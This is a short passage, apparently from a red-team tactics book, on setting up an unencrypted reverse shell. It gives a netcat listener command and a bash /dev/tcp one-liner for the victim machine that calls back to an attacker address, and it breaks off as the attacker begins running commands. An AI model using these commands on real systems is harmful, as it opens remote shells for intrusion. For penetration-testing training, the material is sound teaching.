Hands-On Red Team Tactics

Unencrypted reverse shell using netcat

Let's start a listener on the attacker machine. This can be achieved by executing the following command:

nc -b <interface> -lv <port> 

Our listener is ready for incoming connections on port 8080.

Now let's execute the following command on the victim machine:

Bash -i>& /dev/tcp/192.168.2.6/8080 0>&1

Upon successful execution, the victim machine connects back to the attacker machine, opening a bash shell:

Now let's see what happens when the attacker executes basic commands, such as whoami and id:

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